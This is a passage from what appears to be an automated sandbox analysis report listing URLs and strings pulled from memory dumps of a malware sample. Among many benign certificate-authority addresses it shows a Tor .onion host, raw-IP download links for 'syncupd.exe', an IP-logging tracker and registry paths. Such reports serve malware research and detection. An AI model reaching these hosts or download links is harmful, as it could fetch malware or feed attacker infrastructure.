"00000000-00002516.00000000.82526.01160000.00000002.mdmp") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00003572.00000000.82404.00820000.00000002.mdmp, 00000000-00003572.00000001.84328.00820000.00000002.mdmp") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00004256.00000000.82684.00D40000.00000002.mdmp, 00000000-00004256.00000001.84604.00D40000.00000002.mdmp, 00000000-00004256.00000002.86530.00D40000.00000002.mdmp")56:T98cd,Found URL "https://localstats.orghttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onionwbemscripting.swbemlocatorselect" - Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp") Found URL "http://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onionhttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onions-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\testapps-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2ahttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onions-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2ac:\users\hapubws\appdata\local\temp\288c47bbc1871b439df19ff4df68f076.exe" - Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp") Found URL "https://localstats.org2026/09/13" - Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp") Found URL "https://localstats.orghttps://localstats.orgregqueryvalueexwvmware" - Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp") Found URL "https://localstats.orghttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onionwbemscripting.swbemlocatorselect" - Source: "00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found URL "http://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onionhttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onions-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\testapps-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2ahttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onions-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2ac:\users\hapubws\appdata\local\temp\288c47bbc1871b439df19ff4df68f076.exe" - Source: "00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found URL "https://localstats.org2026/09/13" - Source: "00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found URL "https://localstats.orghttps://localstats.orgregqueryvalueexwvmware" - Source: "00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found URL "https://localstats.orghttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onionc:\users\hapubws\appdata\local\temp\288c47bbc1871b439df19ff4df68f076.exec:\users\hapubws\appdata\local\temp\288c47bbc1871b439df19ff4df68f076.exec:\windows\system32\kernel32.dllc:\users\hapubws\appdata\local\tempc:\windows\system32\advapi32.dllmicrosoft" - Source: "00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found URL "https://localstats.orghttps://localstats.orgregqueryvalueexwhttps://localstats.orgnetapibufferfreevmware" - Source: "00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found URL "http://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onionhttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onions-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\testapps-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2ac:\users\hapubws\appdata\local\temp\288c47bbc1871b439df19ff4df68f076.exe" - Source: "00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found URL "https://localstats.orghttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onionhttps://localstats.orghttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onion,0b1c1115005f5c4e190c06020416111211004f1a110200b1c1115494a5c0203141202020e504510065319025209045100410317190c5653150d02501b141f001a0d01060a52121b130a53030f08110d1453190b1a055b0c0b0a070b,0b1c1115005f5c4e190c06020416111211004f1a110200b1c1115494a5c0203141202020e504510065319025209045100410317190c5653150d02501b141f001a0d01060a52121b130a53030f08110d1453190b1a055b0c0b0a070b1,0b1c1115005f5c4e190c06020416111211004f1a110200b1c1115494a5c0203141202020e504510065319025209045100410317190c5653150d02501b141f001a0d01060a52121b130a53030f08110d1453190b1a055b0c0b0a070b,0b1c1115005f5c4e190c06020416111211004f1a110200b1c1115494a5c0203141202020e504510065319025209045100410317190c5653150d02501b141f001a0d01060a52121b130a53030f08110d1453190b1a055b0c0b0a070b1,0b1c1115005f5c4e190c06020416111211004f1a110200b1c1115494a5c0203141202020e504510065319025209045100410317190c5653150d02501b141f001a0d01060a52121b130a53030f08110d1453190b1a055b0c0b0a070b,0b1c1115005f5c4e190c06020416111211004f1a110200b1c1115494a5c0203141202020e504510065319025209045100410317190c5653150d02501b141f001a0d01060a52121b130a53030f08110d1453190b1a055b0c0b0a070b1current" - Source: "00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found URL "http://nsis.sf.net/nsis_errorerror" - Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp") Found URL "http://api.ipify.org/?format=dfg/silent1023http://91.92.255.226/scripts/plus.php?ip=substr=nine&s=ab/tostack/nocancelhttp://185.172.128.53/syncupd.exehttp://5.42.64.35/syncupd.exehttps://iplogger.com/19nva4software\broomcleanerinstalledmath.dllmyxor(h,g)" - Source: "00000000-00003572.00000000.82404.00610000.00000004.mdmp") Found URL "http://api.ipify.org/?format=dfg" - Source: "00000000-00003572.00000000.82404.00610000.00000004.mdmp") Found URL "http://nsis.sf.net/nsis_errorerror" - Source: "00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found URL "http://api.ipify.org/?format=dfg/silent1023http://91.92.255.226/scripts/plus.php?ip=substr=nine&s=ab/tostack/nocancelhttp://185.172.128.53/syncupd.exehttp://5.42.64.35/syncupd.exehttps://iplogger.com/19nva4software\broomcleanerinstalledmath.dllmyxor(h,g)" - Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp") Found URL "http://i.pki.goog/we1.crt0'iplogger.com*.iplogger.com0/0-0+%http://c.pki.goog/we1/4y3jdvkomeg.crl0wwkfwyxs" - Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp") Found URL "http://i.pki.goog/r4.crt0+$0" - Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp") Found URL "http://c.pki.goog/r/r4.crl0@az&globalsign" - Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp") Found URL "http://i.pki.goog/gsr1.crt0-&0$0" - Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:r" - Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp") Found URL "http://i.pki.goog/we1.crt0'iplogger.com*.iplogger.c0-0+%http://c.pki.goog/mcrl0wwkfwyxs" - Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp") Found URL "https://iplogger.com/19nva4https://iplogger.com/19nva4microsoft" - Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object0990709183120z190709184036z0salt" - Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object0;09071http://crl.usertrust.com/utn-userfirst-object.crl0)k%%-qcn>k't" - Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lificat05t015tx05t" - Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp") Found URL "https://www.verisign.com/repository/cpsthis" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "https://www.verisign.com;" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "https://www.verisign.com/repository/verisignlogo.gif0d=0;090*0(https://www.verisign.com/rpa0f$\_)$bf!bpzt<" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://i.pki.goog/we1.crt0'iplogger.com*.iplogger.com0/0-0+%http://c.pki.goog/we1/4y3jdvkomeg.crl0wwkfwyxs" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://i.pki.goog/r4.crt0+$0" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://c.pki.goog/r/r4.crl0@az&globalsign" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://i.pki.goog/gsr1.crt0-&0$0" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:u\" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcgoogle" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:3lssruuukssmu36-u36-;i_au36-3lssruuukssmf" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://g.symcd.com0e0c0a60301%http://www.geotrust.com/resources/cps06/0-0+%http://g.symcb.com/geotrustpca-g3.crl0symantecpki-1-697033ti^l" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://isrg.trustid.ocsp.identrust.com0;/http://apps.identrust.com/roots/dstrootcax3.p7c0m0k0000." - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://cps.root-x1.letsencrypt.org0<50301+http://crl.identrust.com/dstrootcax3crl.crl0ig'" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0(" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1english1sea" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "https://secure.comodo.com/cps0" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com05addons.mozilla.orgwww.addons.mozilla.org0zsb)j9e/salt" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0%www.google.comgoogle.com0io]l,e9n0p1+0)" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/omniroot.html0w0u1gte" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0dmxt*j]+xijom5o" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://ocsp.entrust.net03,0*0(" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.11c)d[b" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0w0u1staat" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl0]ko)tsz'salt" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.skype.comwww.login.skype.com0ynsltar.0a0" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0\0z1staat" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domorganisatielatestcrl-g2.crl0^tl*" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://cybertrust.omniroot.com/repository.cfm0w0u1gte" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0j)z" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0\0" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1tampa1sea" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0global" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.yahoo.comwww.login.yahoo.com0yvr,)wp+(d" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "https://www.verisign.com/repository/verisignlogo.gif0d=0;090*0(https://www.verisign.com/rpa0salt" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/mail.google.comwww.mail.google.com0?=*k!\yro2;n/" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0login.yahoo.com0kw(=n" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.1q7z?," - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://ocsp.entrust.net0d=0;09000." - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://www.digicert.com.my/cps.htm02+0)0'!http://crl.entrust.net/2048ca.crl09yk3y!gte" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0or" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl00ev" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0-login.live.comwww.login.live.com0nwk1uy1un:9*cosalt" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0login.yahoo.com0entrust.net1;092www.entrust.net/cps" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0v7.1ctj7+>.entrusbcom1" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0>ej-+\lu>gvpob\hzagxr" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?r0m01.3.6.1.5.5.7.1.12okb&" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp") Found URL "http://nsis.sf.net/nsis_errorerror" - Source: "00000000-00003572.00000002.84706.0040A000.00000004.mdmp") Found URL "http://api.ipify.org/?format=dfg/silent1023http://91.92.255.226/scripts/plus.php?ip=substr=nine&s=ab/tostack/nocancelhttp://185.172.128.53/syncupd.exehttp://5.42.64.35/syncupd.exehttps://iplogger.com/19nva4software\broomcleanerinstalledmath.dllmyxor(h,g)" - Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found URL "http://i.pki.goog/we1.crt73c174110000000000000000b0e2120000000000d0e23ac1740ceb120003000000001002000003000000d0e239c174000061000008020000450044003000380043000031002e00005000000012007839318080,1704,9,2,0,," - Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found URL "http://c.pki.goog/we1/4y3jdvkomeg.crl:\users\hapubws\appdata\roaming\microsoft\systemcertificates\myc.pki.googc.pki.goog:\windows\system32\api-ms-win-downlevel-normaliz-l1-1-0.dlleotrust" - Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found URL "http://c.pki.goog/we1/4y3jdvkomeg.crlclsid\" - Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found URL "http://c.pki.goog/we1/4y3jdvkomeg.crls-1-5-21-2092356043-4041700817-663127204-1001ifier=x86" - Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found URL "http://i.pki.goog/we1.crt0'iplogger.com*.iplogger.com0/0-0+%http://c.pki.goog/we1/4y3jdvkomeg.crl0wwkfwyxs" - Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found URL "http://i.pki.goog/r4.crt0+$0" - Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found URL "http://c.pki.goog/r/r4.crl0@az&globalsign" - Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found URL "http://i.pki.goog/gsr1.crt0-&0$0" - Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:r" - Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found URL "http://c.pki.goog/we1/4y3jdvkomeg.crl6" - Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found URL "http://i.pki.goog/we1.crt0'iplogger.com*.iplogger.c0-0+%http://c.pki.goog/mcrl0wwkfwyxs" - Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object0990709183120z190709184036z0salt" - Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object0;09071http://crl.usertrust.com/utn-userfirst-object.crl0)k%%-qcn>k't" - Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lificatpkcs.3.1.3.2q*iq=.3.810\nalrpc:[keysvc]microsoft-cryptoapi/6.1microsoft-cryptoapi/6.1microsoft-cryptoapi/6.1crosoft-cryptoapi/6.1crosoft-cryptoapi/6.1crosoft-cryptoapi/6.13.6.1.5.5.7.3.2\nqj3.6.1.4.1.311.10.3.43.6.1.5.5.7.3.33.6.1.5.5.7.3.43.6.1.5.5.7.3.63.6.1.5.5.8.2.23.6.1.5.5.7.3.73.6.1.5.5.7.3.93.6.1.5.5.7.3.83.6.1.5.5.7.3.23.6.1.5.5.7.3.13.6.1.5.5.7.3.13.6.1.5.5.7.3.23.6.1.5.5.7.3.1crosoft-cryptoapi/6.13.6.1.5.5.7.3.1crosoft-cryptoapi/6.1crosoft-cryptoapi/6.1crosoft-cryptoapi/6.1crosoft-cryptoapi/6.1jw3lvsmlhfcls.uiisign1.3.6.1.4.1.311.76.6.1_wp" - Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found URL "http://c.pki.goog/r/r4.crlc:\users\hapubws\appdata\local\temp\installsetup9.exentrusteotrusthttp://c.pki.goog/r/gsr1.crlecdsa_p256ecdsa_p384userprofile%\appdata\localcalrpc:[lsapolicylookup]isallowedcert_autoupdate_1subcamicrosoftisallowedcert_autoupdate_1subcaryptreleasecontextsha384network" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://c.pki.goog/r/r4.crlloopback" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "https://www.verisign.com/repository/cpsthis" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "https://www.verisign.com;" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "https://www.verisign.com/repository/verisignlogo.gif0d=0;090*0(https://www.verisign.com/rpa0f$\_)$bf!bpzt<" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://i.pki.goog/we1.crt0'iplogger.com*.iplogger.com0/0-0+%http://c.pki.goog/we1/4y3jdvkomeg.crl0wwkfwyxs" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://i.pki.goog/r4.crt0+$0" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://c.pki.goog/r/r4.crl0@az&globalsign" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://i.pki.goog/gsr1.crt0-&0$0" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:u\" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcgoogle" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:(0&0$http://i.pki.goog/r4.crt0+$0" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://c.pki.goog/r/r4.crl0@az&root" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://g.symcd.com0e0c0a60301%http://www.geotrust.com/resources/cps06/0-0+%http://g.symcb.com/geotrustpca-g3.crl0symantecpki-1-697033ti^l" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://isrg.trustid.ocsp.identrust.com0;/http://apps.identrust.com/roots/dstrootcax3.p7c0m0k0000." - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://cps.root-x1.letsencrypt.org0<50301+http://crl.identrust.com/dstrootcax3crl.crl0ig'" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0(" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1english1sea" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "https://secure.comodo.com/cps0" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com05addons.mozilla.orgwww.addons.mozilla.org0zsb)j9e/salt" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0%www.google.comgoogle.com0io]l,e9n0p1+0)" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/omniroot.html0w0u1gte" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL 